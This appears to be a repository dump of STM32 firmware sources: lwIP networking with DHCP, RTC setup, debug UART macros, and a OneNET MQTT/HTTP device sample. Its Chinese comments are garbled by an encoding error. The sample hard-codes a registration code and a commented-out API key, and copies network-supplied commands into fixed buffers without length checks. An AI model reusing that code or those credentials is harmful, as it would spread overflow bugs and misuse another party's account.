u32 DHCPfineTimer=0; //DHCP็ฒพ็ปๅค็่ฎกๆถๅจ
u32 DHCPcoarseTimer=0; //DHCP็ฒ็ณๅค็่ฎกๆถๅจ
#endif
//lwipไธญmemๅmemp็ๅ
ๅญ็ณ่ฏท
//่ฟๅๅผ:0,ๆๅ;
// ๅ
ถไป,ๅคฑ่ดฅ
u8 lwip_comm_mem_malloc(void)
{
u32 mempsize;
u32 ramheapsize;
mempsize=memp_get_memorysize(); //ๅพๅฐmemp_memoryๆฐ็ปๅคงๅฐ
memp_memory=mymalloc(SRAMIN,mempsize); //ไธบmemp_memory็ณ่ฏทๅ
ๅญ
ramheapsize=LWIP_MEM_ALIGN_SIZE(MEM_SIZE)+2*LWIP_MEM_ALIGN_SIZE(4*3)+MEM_ALIGNMENT;//ๅพๅฐram heapๅคงๅฐ
ram_heap=mymalloc(SRAMIN,ramheapsize); //ไธบram_heap็ณ่ฏทๅ
ๅญ
if(!memp_memory||!ram_heap)//ๆ็ณ่ฏทๅคฑ่ดฅ็
{
lwip_comm_mem_free();
return 1;
}
return 0;
}
//lwipไธญmemๅmempๅ
ๅญ้ๆพ
void lwip_comm_mem_free(void)
{
myfree(SRAMIN,memp_memory);
myfree(SRAMIN,ram_heap);
}
//lwip ้ป่ฎคIP่ฎพ็ฝฎ
//lwipx:lwipๆงๅถ็ปๆไฝๆ้
void lwip_comm_default_ip_set(__lwip_dev *lwipx)
{
u32 sn0;
sn0=*(vu32*)(0x1FFF7A10);//่ทๅSTM32็ๅฏไธID็ๅ24ไฝไฝไธบMACๅฐๅๅไธๅญ่
//้ป่ฎค่ฟ็ซฏIPไธบ:121.40.173.197
lwipx->remoteip[0]=121;
lwipx->remoteip[1]=40;
lwipx->remoteip[2]=173;
lwipx->remoteip[3]=197;
//MACๅฐๅ่ฎพ็ฝฎ(้ซไธๅญ่ๅบๅฎไธบ:2.0.0,ไฝไธๅญ่็จSTM32ๅฏไธID)
lwipx->mac[0]=2;//้ซไธๅญ่(IEEE็งฐไนไธบ็ป็ปๅฏไธID,OUI)ๅฐๅๅบๅฎไธบ:2.0.0
lwipx->mac[1]=0;
lwipx->mac[2]=0;
lwipx->mac[3]=(sn0>>16)&0XFF;//ไฝไธๅญ่็จSTM32็ๅฏไธID
lwipx->mac[4]=(sn0>>8)&0XFFF;;
lwipx->mac[5]=sn0&0XFF;
//้ป่ฎคๆฌๅฐIPไธบ:192.168.1.30
lwipx->ip[0]=uEthIpBuf[0];
lwipx->ip[1]=uEthIpBuf[1];
lwipx->ip[2]=uEthIpBuf[2];
lwipx->ip[3]=uEthIpBuf[3];
//้ป่ฎคๅญ็ฝๆฉ็ :255.255.255.0
lwipx->netmask[0]=uEthIpBuf[4];
lwipx->netmask[1]=uEthIpBuf[5];
lwipx->netmask[2]=uEthIpBuf[6];
lwipx->netmask[3]=uEthIpBuf[7];
//้ป่ฎค็ฝๅ
ณ:192.168.1.1
lwipx->gateway[0]=uEthIpBuf[8];
lwipx->gateway[1]=uEthIpBuf[9];
lwipx->gateway[2]=uEthIpBuf[10];
lwipx->gateway[3]=uEthIpBuf[11];
lwipx->dhcpstatus=0;//ๆฒกๆDHCP
}
//LWIPๅๅงๅ(LWIPๅฏๅจ็ๆถๅไฝฟ็จ)
//่ฟๅๅผ:0,ๆๅ
// 1,ๅ
ๅญ้่ฏฏ
// 2,LAN8720ๅๅงๅๅคฑ่ดฅ
// 3,็ฝๅกๆทปๅ ๅคฑ่ดฅ.
u8 lwip_comm_init(void)
{
struct netif *Netif_Init_Flag; //่ฐ็จnetif_add()ๅฝๆฐๆถ็่ฟๅๅผ,็จไบๅคๆญ็ฝ็ปๅๅงๅๆฏๅฆๆๅ
struct ip_addr ipaddr; //ipๅฐๅ
struct ip_addr netmask; //ๅญ็ฝๆฉ็
struct ip_addr gw; //้ป่ฎค็ฝๅ
ณ
u8 DhcpFlagEn = 1;
if(ETH_Mem_Malloc())return 1; //ๅ
ๅญ็ณ่ฏทๅคฑ่ดฅ
if(lwip_comm_mem_malloc())return 1; //ๅ
ๅญ็ณ่ฏทๅคฑ่ดฅ
if(LAN8720_Init())return 2; //ๅๅงๅLAN8720ๅคฑ่ดฅ
lwip_init(); //ๅๅงๅLWIPๅ
ๆ ธ
lwip_comm_default_ip_set(&lwipdev); //่ฎพ็ฝฎ้ป่ฎคIP็ญไฟกๆฏ
if(DhcpFlagEn) //ไฝฟ็จๅจๆIP
{
ipaddr.addr = 0;
netmask.addr = 0;
gw.addr = 0;
}
else //ไฝฟ็จ้ๆIP
{
IP4_ADDR(&ipaddr,lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);
IP4_ADDR(&netmask,lwipdev.netmask[0],lwipdev.netmask[1] ,lwipdev.netmask[2],lwipdev.netmask[3]);
IP4_ADDR(&gw,lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]);
printf("็ฝๅกen็MACๅฐๅไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]);
printf("้ๆIPๅฐๅ........................%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);
printf("ๅญ็ฝๆฉ็ ..........................%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]);
printf("้ป่ฎค็ฝๅ
ณ..........................%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]);
}
Netif_Init_Flag=netif_add(&lwip_netif,&ipaddr,&netmask,&gw,NULL,ðernetif_init,ðernet_input);//ๅ็ฝๅกๅ่กจไธญๆทปๅ ไธไธช็ฝๅฃ
if(DhcpFlagEn) //ไฝฟ็จๅจๆIP //ๅฆๆไฝฟ็จDHCP็่ฏ
{
lwipdev.dhcpstatus=0; //DHCPๆ ่ฎฐไธบ0
dhcp_start(&lwip_netif); //ๅผๅฏDHCPๆๅก
}
if(Netif_Init_Flag==NULL)return 3;//็ฝๅกๆทปๅ ๅคฑ่ดฅ
else//็ฝๅฃๆทปๅ ๆๅๅ,่ฎพ็ฝฎnetifไธบ้ป่ฎคๅผ,ๅนถไธๆๅผnetif็ฝๅฃ
{
netif_set_default(&lwip_netif); //่ฎพ็ฝฎnetifไธบ้ป่ฎค็ฝๅฃ
netif_set_up(&lwip_netif); //ๆๅผnetif็ฝๅฃ
}
return 0;//ๆไฝOK.
}
//ๅฝๆฅๆถๅฐๆฐๆฎๅ่ฐ็จ
void lwip_pkt_handle(void)
{
//ไป็ฝ็ป็ผๅฒๅบไธญ่ฏปๅๆฅๆถๅฐ็ๆฐๆฎๅ
ๅนถๅฐๅ
ถๅ้็ปLWIPๅค็
ethernetif_input(&lwip_netif);
}
//LWIP่ฝฎ่ฏขไปปๅก
void lwip_periodic_handle()
{
#if LWIP_TCP
//ๆฏ250ms่ฐ็จไธๆฌกtcp_tmr()ๅฝๆฐ
if (lwip_localtime - TCPTimer1 >= TCP_TMR_INTERVAL)
{
TCPTimer1 = lwip_localtime;
tcp_tmr();
}
#endif
//ARPๆฏ5sๅจๆๆง่ฐ็จไธๆฌก
if ((lwip_localtime - ARPTimer1) >= ARP_TMR_INTERVAL)
{
ARPTimer1 = lwip_localtime;
etharp_tmr();
}
#if LWIP_DHCP //ๅฆๆไฝฟ็จDHCP็่ฏ
//ๆฏ500ms่ฐ็จไธๆฌกdhcp_fine_tmr()
if (lwip_localtime - DHCPfineTimer >= DHCP_FINE_TIMER_MSECS)
{
DHCPfineTimer = lwip_localtime;
dhcp_fine_tmr();
if ((lwipdev.dhcpstatus != 2)&&(lwipdev.dhcpstatus != 0XFF))
{
lwip_dhcp_process_handle(); //DHCPๅค็
}
}
//ๆฏ60sๆง่กไธๆฌกDHCP็ฒ็ณๅค็
if (lwip_localtime - DHCPcoarseTimer >= DHCP_COARSE_TIMER_MSECS)
{
DHCPcoarseTimer = lwip_localtime;
dhcp_coarse_tmr();
}
#endif
}
//ๅฆๆไฝฟ่ฝไบDHCP
#if LWIP_DHCP
//DHCPๅค็ไปปๅก
void lwip_dhcp_process_handle(void)
{
u32 ip=0,netmask=0,gw=0;
switch(lwipdev.dhcpstatus)
{
case 0: //ๅผๅฏDHCP
dhcp_start(&lwip_netif);
lwipdev.dhcpstatus = 1; //็ญๅพ
้่ฟDHCP่ทๅๅฐ็ๅฐๅ
printf("ๆญฃๅจๆฅๆพDHCPๆๅกๅจ,่ฏท็จ็ญ...........\r\n");
break;
case 1: //็ญๅพ
่ทๅๅฐIPๅฐๅ
{
ip=lwip_netif.ip_addr.addr; //่ฏปๅๆฐIPๅฐๅ
netmask=lwip_netif.netmask.addr;//่ฏปๅๅญ็ฝๆฉ็
gw=lwip_netif.gw.addr; //่ฏปๅ้ป่ฎค็ฝๅ
ณ
if(ip!=0) //ๆญฃ็กฎ่ทๅๅฐIPๅฐๅ็ๆถๅ
{
lwipdev.dhcpstatus=2; //DHCPๆๅ
printf("็ฝๅกen็MACๅฐๅไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]);
//่งฃๆๅบ้่ฟDHCP่ทๅๅฐ็IPๅฐๅ
lwipdev.ip[3]=(uint8_t)(ip>>24);
lwipdev.ip[2]=(uint8_t)(ip>>16);
lwipdev.ip[1]=(uint8_t)(ip>>8);
lwipdev.ip[0]=(uint8_t)(ip);
printf("้่ฟDHCP่ทๅๅฐIPๅฐๅ..............%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);
//่งฃๆ้่ฟDHCP่ทๅๅฐ็ๅญ็ฝๆฉ็ ๅฐๅ
lwipdev.netmask[3]=(uint8_t)(netmask>>24);
lwipdev.netmask[2]=(uint8_t)(netmask>>16);
lwipdev.netmask[1]=(uint8_t)(netmask>>8);
lwipdev.netmask[0]=(uint8_t)(netmask);
printf("้่ฟDHCP่ทๅๅฐๅญ็ฝๆฉ็ ............%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]);
//่งฃๆๅบ้่ฟDHCP่ทๅๅฐ็้ป่ฎค็ฝๅ
ณ
lwipdev.gateway[3]=(uint8_t)(gw>>24);
lwipdev.gateway[2]=(uint8_t)(gw>>16);
lwipdev.gateway[1]=(uint8_t)(gw>>8);
lwipdev.gateway[0]=(uint8_t)(gw);
printf("้่ฟDHCP่ทๅๅฐ็้ป่ฎค็ฝๅ
ณ..........%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]);
}else if(lwip_netif.dhcp->tries>LWIP_MAX_DHCP_TRIES) //้่ฟDHCPๆๅก่ทๅIPๅฐๅๅคฑ่ดฅ,ไธ่ถ
่ฟๆๅคงๅฐ่ฏๆฌกๆฐ
{
lwipdev.dhcpstatus=0XFF;//DHCP่ถ
ๆถๅคฑ่ดฅ.
//ไฝฟ็จ้ๆIPๅฐๅ
IP4_ADDR(&(lwip_netif.ip_addr),lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);
IP4_ADDR(&(lwip_netif.netmask),lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]);
IP4_ADDR(&(lwip_netif.gw),lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]);
printf("DHCPๆๅก่ถ
ๆถ,ไฝฟ็จ้ๆIPๅฐๅ!\r\n");
printf("็ฝๅกen็MACๅฐๅไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]);
printf("้ๆIPๅฐๅ........................%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);
printf("ๅญ็ฝๆฉ็ ..........................%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]);
printf("้ป่ฎค็ฝๅ
ณ..........................%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]);
}
}
break;
default : break;
}
}
#endif
```
rl_net.h
```#ifndef RL_NET_H
#define RL_NET_H
#endif /* RL_NET_H */
```
bsp_rtc.c
```#include "bsp_rtc.h"
RTC_HandleTypeDef RtcHandle;
static void RTC_CalendarConfig(void);
void RTC_Init(void)
{
/*##-1- Configure the RTC peripheral #######################################*/
/* Configure RTC prescaler and RTC data registers */
/* RTC configured as follows:
- Hour Format = Format 24
- Asynch Prediv = Value according to source clock
- Synch Prediv = Value according to source clock
- OutPut = Output Disable
- OutPutPolarity = High Polarity
- OutPutType = Open Drain */
RtcHandle.Instance = RTC;
RtcHandle.Init.HourFormat = RTC_HOURFORMAT_24;
RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV;
RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV;
RtcHandle.Init.OutPut = RTC_OUTPUT_DISABLE;
RtcHandle.Init.OutPutPolarity = RTC_OUTPUT_POLARITY_HIGH;
RtcHandle.Init.OutPutType = RTC_OUTPUT_TYPE_OPENDRAIN;
__HAL_RTC_RESET_HANDLE_STATE(&RtcHandle);
if (HAL_RTC_Init(&RtcHandle) != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
/*##-2- Check if Data stored in BackUp register1: No Need to reconfigure RTC#*/
/* Read the Back Up Register 1 Data */
if (HAL_RTCEx_BKUPRead(&RtcHandle, RTC_BKP_DR1) != 0x32F2)
{
/* Configure RTC Calendar */
RTC_CalendarConfig();
}
else
{
/* Check if the Power On Reset flag is set */
if (__HAL_RCC_GET_FLAG(RCC_FLAG_PORRST) != RESET)
{
/* Turn on LED2: Power on reset occurred */
}
/* Check if Pin Reset flag is set */
if (__HAL_RCC_GET_FLAG(RCC_FLAG_PINRST) != RESET)
{
/* Turn on LED1: External reset occurred */
}
/* Clear source Reset Flag */
__HAL_RCC_CLEAR_RESET_FLAGS();
}
}
static void RTC_CalendarConfig(void)
{
RTC_DateTypeDef sdatestructure;
RTC_TimeTypeDef stimestructure;
/*##-1- Configure the Date #################################################*/
/* Set Date: Tuesday February 18th 2014 */
sdatestructure.Year = 0x14;
sdatestructure.Month = RTC_MONTH_FEBRUARY;
sdatestructure.Date = 0x18;
sdatestructure.WeekDay = RTC_WEEKDAY_TUESDAY;
if(HAL_RTC_SetDate(&RtcHandle,&sdatestructure,RTC_FORMAT_BCD) != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
/*##-2- Configure the Time #################################################*/
/* Set Time: 02:00:00 */
stimestructure.Hours = 0x02;
stimestructure.Minutes = 0x00;
stimestructure.Seconds = 0x00;
stimestructure.TimeFormat = RTC_HOURFORMAT12_AM;
stimestructure.DayLightSaving = RTC_DAYLIGHTSAVING_NONE ;
stimestructure.StoreOperation = RTC_STOREOPERATION_RESET;
if (HAL_RTC_SetTime(&RtcHandle, &stimestructure, RTC_FORMAT_BCD) != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
/*##-3- Writes a data in a RTC Backup data Register1 #######################*/
HAL_RTCEx_BKUPWrite(&RtcHandle, RTC_BKP_DR1, 0x32F2);
}
HAL_StatusTypeDef RTC_GetTime(RTC_TimeTypeDef *sTime, uint32_t Format)
{
return HAL_RTC_GetTime(&RtcHandle, sTime, Format);
}
HAL_StatusTypeDef RTC_GetDate(RTC_DateTypeDef *sDate, uint32_t Format)
{
return HAL_RTC_GetDate(&RtcHandle, sDate, Format);
}
```
bsp_debug_usart.h
```#ifndef __DEBUG_USART_H
#define __DEBUG_USART_H
#include "stm32f4xx.h"
#include <stdio.h>
//#define USART1_DR_Base 0x40013804 // 0x40013800 + 0x04 = 0x40013804
//#define SENDBUFF_SIZE 5000
#define DEBUG_USART USART1
#define DEBUG_USART_CLK RCC_APB2Periph_USART1
#define DEBUG_USART_BAUDRATE 115200
#define DEBUG_USART_RX_GPIO_PORT GPIOA
#define DEBUG_USART_RX_GPIO_CLK RCC_AHB1Periph_GPIOA
#define DEBUG_USART_RX_PIN GPIO_Pin_10
#define DEBUG_USART_RX_AF GPIO_AF_USART1
#define DEBUG_USART_RX_SOURCE GPIO_PinSource10
#define DEBUG_USART_TX_GPIO_PORT GPIOA
#define DEBUG_USART_TX_GPIO_CLK RCC_AHB1Periph_GPIOA
#define DEBUG_USART_TX_PIN GPIO_Pin_9
#define DEBUG_USART_TX_AF GPIO_AF_USART1
#define DEBUG_USART_TX_SOURCE GPIO_PinSource9
//ๆๅฐ็ณป็ปไฟกๆฏ
#define PRINTF_SYS_OPEN 1
#if PRINTF_SYS_OPEN
#include <stdio.h>
#define PRINTF_SYS(...) printf(__VA_ARGS__)
#else
#define PRINTF_SYS(...)
#endif
//ๆๅฐ้่ฏฏไฟกๆฏ
#define PRINTF_ERR_OPEN 1
#if PRINTF_ERR_OPEN
#include <stdio.h>
#define PRINTF_ERR(...) printf(__VA_ARGS__)
#else
#define PRINTF_ERR(...)
#endif
//ๆๅฐ่ฐ่ฏไฟกๆฏ
#define PRINTF_DBG_OPEN 1
#if PRINTF_DBG_OPEN
#include <stdio.h>
#define PRINTF_DBG(...) printf(__VA_ARGS__)
#else
#define PRINTF_DBG(...)
#endif
void PrintHexDataBuffers(unsigned char *data,int len);
void Debug_USART_Config(void);
//int fputc(int ch, FILE *f);
#endif /* __USART1_H */
```
OneNETmain.c
```/**
******************************************************************************
* @file Project/STM32F10x_StdPeriph_Template/main.c
* @author MCD Application Team
* @version V3.5.0
* @date 08-April-2011
* @brief Main program body
******************************************************************************
* @attention
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2011 STMicroelectronics</center></h2>
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
//USE_STDPERIPH_DRIVER, STM32F10X_HD, USE_STM3210B_EVAL
#include "stm32f4xx.h"
#include "stdio.h"
#include "Bsp/led/bsp_led.h"
#include "Bsp/usart/bsp_debug_usart.h"
#include "Bsp/systick/bsp_SysTick.h"
#include "Bsp/key/bsp_key.h"
#include "utils.h"
//#include "Edpkit.h"
//#include "led.h"
//#include "esp8266.h"
//#include "sht20.h"
//#include "hal_i2c.h"
#define KEY2_UP GPIO_ReadInputDataBit(GPIOC,GPIO_Pin_11)
#define KEY3_UP GPIO_ReadInputDataBit(GPIOC,GPIO_Pin_12)
#define PROD_ID "70901" //????????ID
#define SN "201608160002" //?????????????
#define REG_CODE "6TM7OkhNsTjATvFx" //???????????
#define API_ADDR "api.heclouds.com"
#define DEVICE_NAME "kylin_"SN
#define REG_PKT_HEAD "POST http://"API_ADDR"/register_de?register_code="REG_CODE" HTTP/1.1\r\n"\
"Host: "API_ADDR"\r\n"\
"Content-Length: "
#define REG_PKT_BODY "{\"title\":\""DEVICE_NAME"\",\"sn\":\""SN"\"}"
#include "mqtt.h"
#define STRLEN 64
char g_cmdid[STRLEN];
struct MqttSampleContext
{
// int epfd;
// int mqttfd;
uint32_t sendedbytes;
struct MqttContext mqttctx[1];
struct MqttBuffer mqttbuf[1];
const char *host;
unsigned short port;
const char *proid;
const char *devid;
const char *apikey;
int dup;
enum MqttQosLevel qos;
int retain;
uint16_t pkt_to_ack;
char cmdid[70];
};
void sendHttpPkt(char *phead, char *pbody)
{
char sendBuf0[20];
char sendBuf1[500];
sprintf(sendBuf1, "%s%d\r\n\r\n%s", phead, strlen(pbody), pbody);
printf("send HTTP pkt:\r\n%s\r\n", sendBuf1);
/* sprintf(sendBuf0, "AT+CIPSEND=%d\r\n", strlen(sendBuf1));
SendCmd(sendBuf0, ">", 500);
USART2_Clear();
// EDP?????,?? /
USART2_Write(USART2, (uint8_t*)sendBuf1, strlen(sendBuf1)); //????
*/
}
/**
* @brief ??????
* @param buffer,????????
* @param plen, ???????EDP?????
* @attention ?????????8266???????,???????????
* ??????,??? +IPD, ??????????????
* @retval ?????EDP??????,????????NULL
*/
char *uartDataParse(char *buffer, int32_t *plen)
{
char *p;
char *pnum;
int32_t len;
if((p = strstr(buffer, "CLOSED")) != NULL)
{
printf("tcp connection closed\r\n");
}
if((p = strstr(buffer, "WIFI DISCONNECT")) != NULL)
{
printf("wifi disconnected\r\n");
}
if((p = strstr(buffer, "WIFI CONNECTED")) != NULL)
{
printf("wifi connected\r\n");
}
if((p = strstr(buffer, "+IPD")) != NULL)
{
pnum = p + 5; //????? "+IPD,",??????????
p = strstr(p, ":"); //????????
*(p++) = '\0'; //???????????,p?????????????
len = atoi(pnum);
//printf("rcv %d data from OneNET:\r\n", len);
//hexdump(p, len); //??????
*plen = len;
return p;
}
return NULL;
}
/**
* @brief ???????EDP??
*/
void sendPkt(char *p, int len)
{
char sendBuf[30] = {0};
/* ????????AT+CIPSEND=X */
sprintf(sendBuf, "AT+CIPSEND=%d\r\n", len);
SendCmd(sendBuf, ">", 500);
USART2_Clear();
/* EDP?????,?? */
USART2_Write(USART2, p, len); //????
//hexdump(p, len); //??????
}
//-------------------------------- Commands ------------------------------------------------------
static int MqttSample_Connect(struct MqttSampleContext *ctx, char *proid\
, char *auth_info, const char *devid, int keep_alive, int clean_session)
{
int err, flags;
// struct epoll_event event;
// if(ctx->mqttfd >= 0) {
// close(ctx->mqttfd);
// epoll_ctl(ctx->epfd, EPOLL_CTL_DEL, ctx->mqttfd, NULL);
// }
// ctx->mqttfd = MqttSample_CreateTcpConnect(ctx->host, ctx->port);
// if(ctx->mqttfd < 0) {
// return -1;
// }
// ctx->mqttctx->read_func_arg = (void*)(size_t)ctx->mqttfd;
// ctx->mqttctx->writev_func_arg = (void*)(size_t)ctx->mqttfd;
// flags = fcntl(ctx->mqttfd, F_GETFL, 0);
// if(-1 == flags) {
// printf("Failed to get the socket file flags, errcode is %d.\n", errno);
// }
//
// if(fcntl(ctx->mqttfd, F_SETFL, flags | O_NONBLOCK) < 0) {
// printf("Failed to set the socket to nonblock mode, errcode is %d.\n", errno);
// return -1;
// }
// event.data.fd = ctx->mqttfd;
// event.events = EPOLLIN | EPOLLONESHOT | EPOLLET;
// if(epoll_ctl(ctx->epfd, EPOLL_CTL_ADD, ctx->mqttfd, &event) < 0) {
// printf("Failed to add the socket to the epoll, errcode is %d.\n", errno);
// return -1;
// }
//ctx->apikey = "F8E2ABB4278D47188CF6C1B3741D0DA1"; //discard
//ctx->proid = "1234"; //discard
printf("product id: %s\r\nsn: %s\r\ndeviceid: %s\r\nkeepalive: %d\r\ncleansession: %d\r\nQoS: %d\r\n",
proid, auth_info, devid, keep_alive, clean_session, MQTT_QOS_LEVEL0);
err = Mqtt_PackConnectPkt(ctx->mqttbuf, keep_alive, devid,
clean_session, NULL,
NULL, 0,
MQTT_QOS_LEVEL0, 0, proid,
auth_info, strlen(auth_info));
/*
err = Mqtt_PackConnectPkt(ctx->mqttbuf, keep_alive, ctx->devid, 1, user_name,
password, sizeof(password), MQTT_QOS_LEVEL0, 0, NULL,
NULL, 0);
*/
if(MQTTERR_NOERROR != err) {
printf("Failed to pack the MQTT CONNECT PACKET, errcode is %d.\n", err);
return -1;
}
return 0;
}
static int MqttSample_RecvPkt(void *arg, void *buf, uint32_t count)
{
int i;
int rcv_len = 0, onenetdata_len = 0;
uint8_t buffer[128] = {0};
char *p = NULL;
/* ?????????? */
while ((rcv_len = USART2_GetRcvNum()) > 0)
{
printf("rcv_len: %d\r\n", rcv_len);
// hexdump(usart2_rcv_buf, usart2_rcv_len); //??????
mDelay(500);
}
if(usart2_rcv_len != 0) //??wifi?AT??????
{
USART2_GetRcvData(buffer, usart2_rcv_len);
/* ??????,??WIFI???????????????? */
if((p = uartDataParse(buffer, &onenetdata_len)) == NULL)
{
//printf("No server Data\r\n");
/* ?????,??0 */
return 0;
}
/* ?????rcv_len??????,????recv_buf,???? */
//WriteBytes(recv_buf, p, rcv_len);
memcpy(buf, p, onenetdata_len);
if(onenetdata_len > 0)
{
printf("Rcv: \r\n");
for(i=0; i<onenetdata_len; i++)
{
printf("%02X ", ((unsigned char *)buf)[i]);
}
printf("\r\n");
}
}
return onenetdata_len;
}
static int MqttSample_SendPkt(void *arg, const struct iovec *iov, int iovcnt)
{
char sendbuf[1024];
int len = 0;
int bytes;
//struct msghdr msg;
//memset(&msg, 0, sizeof(msg));
//msg.msg_iov = (struct iovec*)iov;
//msg.msg_iovlen = (size_t)iovcnt;
int i=0,j=0;
printf("send one pkt\n");
for(i=0; i<iovcnt; ++i)
{
char *pkg = (char*)iov[i].iov_base;
for(j=0; j<iov[i].iov_len; ++j)
{
printf("%02X ", pkg[j]&0xFF);
}
printf("\n");
memcpy(sendbuf+len, iov[i].iov_base, iov[i].iov_len);
len += iov[i].iov_len;
}
sendPkt(sendbuf, len);
printf("send over\n");
//bytes = sendmsg((int)(size_t)arg, &msg, 0);
return bytes;
}
//------------------------------- packet handlers -------------------------------------------
static int MqttSample_HandleConnAck(void *arg, char flags, char ret_code)
{
// LED_4_ON;
printf("Success to connect to the server, flags(%0x), code(%d).\n",
flags, ret_code);
return 0;
}
static int MqttSample_HandlePingResp(void *arg)
{
printf("Recv the ping response.\n");
return 0;
}
static int MqttSample_HandlePublish(void *arg, uint16_t pkt_id, const char *topic,
const char *payload, uint32_t payloadsize,
int dup, enum MqttQosLevel qos)
{
struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg;
ctx->pkt_to_ack = pkt_id;
ctx->dup = dup;
ctx->qos = qos;
printf("dup: %d, qos: %d, id: %d\r\ntopic: %s\r\npayloadsize: %d payload: %s\r\n",
dup, qos, pkt_id, topic, payloadsize, payload);
/*fix me : add response ?*/
//get cmdid
//$creq/topic_name/cmdid
memset(g_cmdid, STRLEN, 0);
if('$' == topic[0] &&
'c' == topic[1] &&
'r' == topic[2] &&
'e' == topic[3] &&
'q' == topic[4] &&
'/' == topic[5]){
int i=6;
while(topic[i]!='/' && i<strlen(topic)){
++i;
}
if(i<strlen(topic))
memcpy(g_cmdid, topic+i+1, strlen(topic+i+1));
}
return 0;
}
static int MqttSample_HandlePubAck(void *arg, uint16_t pkt_id)
{
printf("Recv the publish ack, packet id is %d.\n", pkt_id);
return 0;
}
static int MqttSample_HandlePubRec(void *arg, uint16_t pkt_id)
{
struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg;
ctx->pkt_to_ack = pkt_id;
printf("Recv the publish rec, packet id is %d.\n", pkt_id);
return 0;
}
static int MqttSample_HandlePubRel(void *arg, uint16_t pkt_id)
{
struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg;
ctx->pkt_to_ack = pkt_id;
printf("Recv the publish rel, packet id is %d.\n", pkt_id);
return 0;
}
static int MqttSample_HandlePubComp(void *arg, uint16_t pkt_id)
{
printf("Recv the publish comp, packet id is %d.\n", pkt_id);
return 0;
}
static int MqttSample_HandleSubAck(void *arg, uint16_t pkt_id, const char *codes, uint32_t count)
{
uint32_t i;
printf("Recv the subscribe ack, packet id is %d, return code count is %d:.\n", pkt_id, count);
for(i = 0; i < count; ++i) {
unsigned int code = ((unsigned char*)codes)[i];
printf(" code%d=%02x\n", i, code);
}
return 0;
}
static int MqttSample_HandleUnsubAck(void *arg, uint16_t pkt_id)
{
printf("Recv the unsubscribe ack, packet id is %d.\n", pkt_id);
return 0;
}
static int MqttSample_HandleCmd(void *arg, uint16_t pkt_id, const char *cmdid,
int64_t timestamp, const char *desc, const char *cmdarg,
uint32_t cmdarg_len, int dup, enum MqttQosLevel qos)
{
uint32_t i;
char cmd_str[100] = {0};
struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg;
ctx->pkt_to_ack = pkt_id;
strcpy(ctx->cmdid, cmdid);
printf("Recv the command, packet id is %d, cmduuid is %s, qos=%d, dup=%d.\n",
pkt_id, cmdid, qos, dup);
if(0 != timestamp) {
time_t seconds = timestamp / 1000;
struct tm *st = localtime(&seconds);
printf(" The timestampe is %04d-%02d-%02dT%02d:%02d:%02d.%03d.\n",
st->tm_year + 1900, st->tm_mon + 1, st->tm_mday,
st->tm_hour, st->tm_min, st->tm_sec, (int)(timestamp % 1000));
}
else {
printf(" There is no timestamp.\n");
}
if(NULL != desc) {
printf(" The description is: %s.\n", desc);
}
else {
printf(" There is no description.\n");
}
printf(" The length of the command argument is %d, the argument is:", cmdarg_len);
for(i = 0; i < cmdarg_len; ++i) {
const char c = cmdarg[i];
if(0 == i % 16) {
printf("\n ");
}
printf("%02X'%c' ", c, c);
}
printf("\n");
memcpy(cmd_str, cmdarg, cmdarg_len);
printf("cmd: %s\r\n", cmd_str);
/* add your execution code here */
/* ???? -- ??led? */
//LED_7_ON;
return 0;
}
static int MqttSample_Subscribe(struct MqttSampleContext *ctx, char **topic, int num)
{
int err;
// char **topics;
// int topics_len = 0;
